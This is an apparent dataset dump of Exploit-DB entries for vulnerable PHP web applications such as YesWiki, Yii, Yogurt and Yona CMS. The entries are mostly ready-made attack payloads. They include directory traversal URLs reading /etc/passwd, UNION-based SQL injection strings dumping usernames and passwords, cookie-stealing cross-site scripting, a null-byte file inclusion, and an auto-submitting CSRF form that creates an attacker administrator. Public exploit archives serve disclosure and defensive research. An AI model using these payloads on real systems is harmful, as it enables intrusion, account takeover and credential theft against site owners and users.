deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38665
Description: YesWiki 0.2 - 'template' Directory Traversal
Type: webapps
Platform: php
Date: 2015-11-10
Author: HaHwul

Exploit:
# Exploit Title: YESWIKI 0.2 - Path Traversal (template param)
# Date: 2015-11-10
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy] , Ubuntu
# CVE : none
# ===========================================
<!-- Open Browser: http://127.0.0.1/vul_test/yeswiki/wakka.php?wiki=HomePage/diaporama&template=/../../../../../../../../../../../../etc/passwd
--><br>
# Exploit Code<br>
# ===========================================
<br><br>

<form name="yeswiki_traversal2_poc" action="http://127.0.0.1/vul_test/yeswiki/wakka.php" method="GET">
<input type="hidden" name="wiki" value="HomePage/diaporama">
Target: Edit HTML Code<br>
File: <input type="text" name="template" value="/../../../../../../../../../../../../etc/passwd"><br>

<input type="submit" value="Exploit">
</form>
<!-- Auto Sumbit
<script type="text/javascript">document.forms.yeswiki_traversal2_poc.submit();</script>
-->
Exploit-DB #46015
Description: Yeswiki Cercopitheque - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-12-19
Author: Mickael BROUTY

Exploit:
# Exploit Title: SQL Injection in Yeswiki (Cercopitheque)
# Date: 02/07/2018
# Exploit Author: Mickael BROUTY (@ark1nar) - FIDENS 
# Vendor Homepage: https://yeswiki.net
# Software Link: https://repository.yeswiki.net/cercopitheque/yeswiki-cercopitheque-2018-12-07-1.zip
# Version: Yeswiki Cercopitheque 2018-06-19-1
# Tested on: Kali linux
# CVE : CVE-2018-13045


# POC:
# 1)
# http://localhost/[PATH]/?BaZar&vue=exporter&id=[SQL]
#


Exploitation example:

http://localhost/[PATH]/?BaZar&vue=exporter&id=-1 UNION SELECT 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15#
Exploit-DB #17997
Description: Yet Another CMS 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-19
Author: Stefan Schurtz

Exploit:
Advisory:              	Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities
Advisory ID:           	SSCHADV2011-031
Author:                	Stefan Schurtz
Affected Software:  	Successfully tested on Yet Another CMS 1.0
Vendor URL:          	http://yetanothercms.codeplex.com/
Vendor Status:       	informed

==========================
Vulnerability Description:
==========================

Yet Another CMS 1.0 is prone to multiple SQL Injection and XSS vulnerabilities

==================
Technical Details:
==================

// search.php
$result_set = get_search_result_set($_POST['pattern']);

// includes/functions.php
function get_search_result_set($pattern, $public = true) {
      global $connection;
      $query = "SELECT
                   id,
                   subject_id,
                   menu_name,
                   position,
                   visible,
                   content,
                   CONCAT('... ', SUBSTRING(content, LOCATE('" . $pattern . "',content), 200), ' ...') as fragment
                FROM
                   pages
                WHERE
                   content like '%" . $pattern . "%'";

// index.php
<?php find_selected_page(); ?>

// includes/functions.php
function find_selected_page() {
                global $sel_subject;
                global $sel_page;
                if (isset($_GET['subj'])) {
                        $sel_subject = get_subject_by_id($_GET['subj']);
                        $sel_page = get_default_page($sel_subject['id']);
                } elseif (isset($_GET['page'])) {
                        $sel_subject = NULL;
                        $sel_page = get_page_by_id($_GET['page']);
                } else {
                        $sel_subject = NULL;
                        $sel_page = NULL;
                }
}


function get_page_by_id($page_id) {
                global $connection;
                $query = "SELECT * ";
                $query .= "FROM pages ";
                $query .= "WHERE id=" . $page_id ." ";
                $query .= "LIMIT 1";

==================
Exploit
==================

SQL Injection

http://<target>/index.php?page=[sql injection]
http://<target>/search.php -> 'search field' -> [sql injection]

XSS

http://<target>/search.php -> 'search field' -> '"</script><script>alert(document.cookie)</script>
http://<target>/index.php?page='</script><script>alert(document.cookie)</script>

====================
Disclosure Timeline:
====================

18-Oct-2011 - informed developers

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://yetanothercms.codeplex.com/
http://yetanothercms.codeplex.com/workitem/643
http://www.rul3z.de/advisories/SSCHADV2011-031.txt
Exploit-DB #8020
Description: Yet Another NOCC 0.1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-02-09
Author: Kacper

Exploit:
Yet Another NOCC 0.1.0 <= Local File Inclusion Vulnerabilities

YANOCC is a simple and fast webmail client which can handle POP3, SMTP, and IMAP servers. 
YANOCC is based on NOCC's code and is written with PHP4. It features multi-language support, 
MIME attachments, displays HTML messages, address book, folder support.

Author: Kacper
HomePage: http://devilteam.pl/
          http://polskihacking.pl/

in file check_lang.php:

if (!ISSET($lang))
{
	$ar_lang = explode(",", $HTTP_ACCEPT_LANGUAGE);
	while ($accept_lang = array_shift($ar_lang))
	{
		$tmp = explode(";", $accept_lang);
		$tmp[0] = strtolower($tmp[0]);
		if (file_exists("lang/".$tmp[0].".php"))
		{
			$lang = $tmp[0];
			break;
		}
	}
	if ($lang == "")
		$lang = $default_lang;
}
//  Fix for faulty PHP install (RH7, see bug #24933)
$lang = trim($lang);
require ("lang/".$lang.".php");

Vuln example:

check_lang.php?lang=../[localinclude]%00


# milw0rm.com [2009-02-09]
Exploit-DB #39998
Description: YetiForce CRM < 3.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-06-21
Author: David Silveiro

Exploit:
# Exploit Title: YetiForce CRM < 3.1  - Persistant XSS Vulnerability
# Exploit Author: David Silveiro 
# Exploit Author Github: github.com/davidsilveiro
# Exploit Author Twitter: twitter.com/david_silveiro 
# Vendor Homepage: https://yetiforce.com/
# Software Link: http://sourceforge.net/projects/yetiforce/
# Date: Fixed on 20th June 2016

YetiForce CRM was built on a rock-solid Vtiger foundation, but has hundreds of changes that help to accomplish even the most challenging tasks in the simplest way

YetiForce is vulnerable to a stored XSS vulnerability present within a users comment section.

POC:

Within 'Companies & Accounts > Accounts' select your prefered user, and then in the 'Comments' section input;

<img src=x onerror=alert('XSS');>

Either refresh the current page, or navigate back to 'Accounts'
Exploit-DB #22877
Description: Yii Framework 1.1.8 - Search SQL Injection
Type: webapps
Platform: php
Date: 2012-11-21
Author: Juno_okyo

Exploit:
# Exploit Title: Yii Framework - Search SQL Injection Vulnerability
# Google Dork: No Dork
# Date: 20/11/2012
# Exploit Author: Juno_okyo
# Vendor Homepage: http://www.yiiframework.com/
# Software Link: http://www.yiiframework.com/download/
# Version: 1.1.8 (maybe another version)
#
##############################
################################################################
Vulnerability:
##############################################################################################

SQL Injection via search form. You can query to get some info about
administrator account and something...

##############################################################################################
Exploitation:
##############################################################################################

' UNION SELECT
1,group_concat(username,0x7c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
fRom user-- -


##############################################################################################
More Details:
##############################################################################################

Website: http://junookyo.blogspot.com/
About Exploit:
http://junookyo.blogspot.com/2012/11/yii-framework-search-sql-injection.html

##############################################################################################
Great thanks to Juno_okyo and James - J2TeaM
##############################################################################################
Exploit-DB #23175
Description: yMonda Thread-IT 1.6 - Multiple HTML Injections
Type: webapps
Platform: php
Date: 2003-09-24
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8692/info

It has been reported that yMonda Thread-IT is prone to a HTML injection vulnerability that may allow an attacker to execute HTML code in a user's browser. The issue is reported to be present in the 'Topic Title', 'Name', and 'Message' fields. This problem is due to insufficient sanitization of user-supplied input.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Thread-IT version 1.6 and prior may be vulnerable to this issue. 

"><script> this code will hide every thing after it including the the board topics if any attacker write it in the topic title.

<script>windows.open("URL");</script> this code will open a new window when the board loaded.
Exploit-DB #41104
Description: Yoga and Fitness Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Yoga and Fitness Website Script
# Script Buy Now: http://www.popularclones.com/products/Yoga-and-Fitness-Website
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/promo_classes.php?cid=[SQL]
# http://localhost/[PATH]/style.php?s=[SQL]
# http://localhost/[PATH]/teacherindi.php?t=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #43282
Description: Yoga Class Script 1.0 - 'list?city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Yoga Class Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/yoga-class-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/list?city=[SQL]&main_search=
# 
# -'+/*!01111UNION*/+/*!01111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
# 
# http://server/list?city=-'+/*!01111UNION*/+/*!01111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
# 
# # # # #
Exploit-DB #8932
Description: yogurt 0.3 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-06-11
Author: Br0ly

Exploit:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  Name : Yogurt
  Site    : http://sourceforge.net/projects/yogurt/
  Down : http://sourceforge.net/project/showfiles.php?group_id=112452&package_id=141123&release_id=297459
  Dork  : "Yogurt build"
 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

 
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


  Description:

  Bug : XSS
 
  In index.php:

  index.php:45:    if(isset($_GET['msg']))
  index.php:48:        print("<center>". $_GET['msg'] . "</center>"); <-- XSS VUL

  BUG : SQL INJECTION

  system/writemessage.php:81: $rs = mysql_query("SELECT * FROM messages WHERE id=" . $_GET['original'], $db) <-- SQLi Vul
  system/writemessage.php:82:                or bug("Database error, please try again");
  system/writemessage.php:83:            $row = mysql_fetch_array($rs);

 
     
  In neither case was the method _GET filtered properly.
  Others .phps also contains the failures I'm posting the first one I found .. ^^

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


  P0c:
 
    XSS  :  http://localhost/xscripts/yogurt/index.php?msg=<script>alert('br0ly')</script>
   
    First: Go to: http://localhost/yogurt/newuser.php, after register, just login and you can explore the sqli.
   
    SQLi :
    http://localhost/yogurt/system/writemessage.php?original=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+users--



  OBS: need register_globals=on;

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11]
Exploit-DB #32200
Description: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'album.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30618/info
  
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/album.php?uid=1"><script>alert(1)</script>
Exploit-DB #32198
Description: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'friends.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30618/info

Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/friends.php?uid=1"><script>alert(1)</script>
Exploit-DB #32202
Description: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'index.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30618/info
    
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/index.php?uid=1"><script>alert(1)</script>
Exploit-DB #32201
Description: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'scrapbook.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30618/info
   
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/scrapbook.php?uid=1"><script>alert(1)</script>
Exploit-DB #32199
Description: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'seutubo.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30618/info
 
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/seutubo.php?uid=1"><script>alert(1)</script>
Exploit-DB #32203
Description: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'tribes.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-09
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30618/info
     
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/tribes.php?uid=1"><script>alert(1)</script>
Exploit-DB #39988
Description: Yona CMS - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-06-21
Author: s0nk3y

Exploit:
<!--
# Exploit Title: Yona CMS <= 1.3.x Remote Admin Add CSRF Exploit
# Exploit Author: s0nk3y
# Google Dork: -
# Date: 21/06/2016
# Vendor Homepage: http://yonacms.com
# Software Link: https://github.com/oleksandr-torosh/yona-cms/
# Version: 1.3.x
# Tested on: Ubuntu 16.04

Yona CMS is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering), a form will be submitted
to (http://localhost/admin/admin-user/add) that will add a
new user as administrator.
Once exploited, the attacker can login to the admin panel (
http://localhost/admin)
using the username and the password he posted in the form.

CSRF PoC Code
=============
-->

<form method="post" action="http://localhost/admin/admin-user/add">   
<input type="hidden" name="login" value="attacker"/>
<input type="hidden" name="email" value="attacker@email.com"/>
<input type="hidden" name="name" value="attacker"/>
<input type="hidden" name="role" value="admin"/>
<input type="hidden" name="password" value="attackerPassword"/>
<input type="hidden" name="active"/>
</form>
<script>
document.forms[0].submit();
</script>
Exploit-DB #50375
Description: Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-04
Author: Jordan Glover

Exploit:
# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)
# Date: 2021-10-03
# Exploit Author: Jordan Glover
# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10 + XAMPP v3.3.0

Young Entrepreneur E-Negosyo System 1.0 suffers from a Cross Site Scripting (XSS) vulnerability.

Step 1 - Create a new product to sell - http://localhost/bsenordering/admin/products/index.php?view=add
Step 2 - Fill out all required fields to create a new product. Input a payload in the product description field - <script>alert(document.cookie)</script>
Step 3 - Save the product.

The stored XSS triggers for all users that navigate to the home page.

POC

POST /bsenordering/admin/products/controller.php?action=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 1203
Origin: http://localhost
Connection: close
Referer: http://localhost/bsenordering/admin/products/index.php?view=add
Cookie: PHPSESSID=794albocs4b1st3m9hsileorpg
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="OWNERNAME"

Test
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="OWNERPHONE"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="PRODESC"

<script>alert(document.cookie)</script>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="CATEGORY"

3
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="ORIGINALPRICE"

100
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="PROPRICE"

100
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="PROQTY"

100
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="save"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--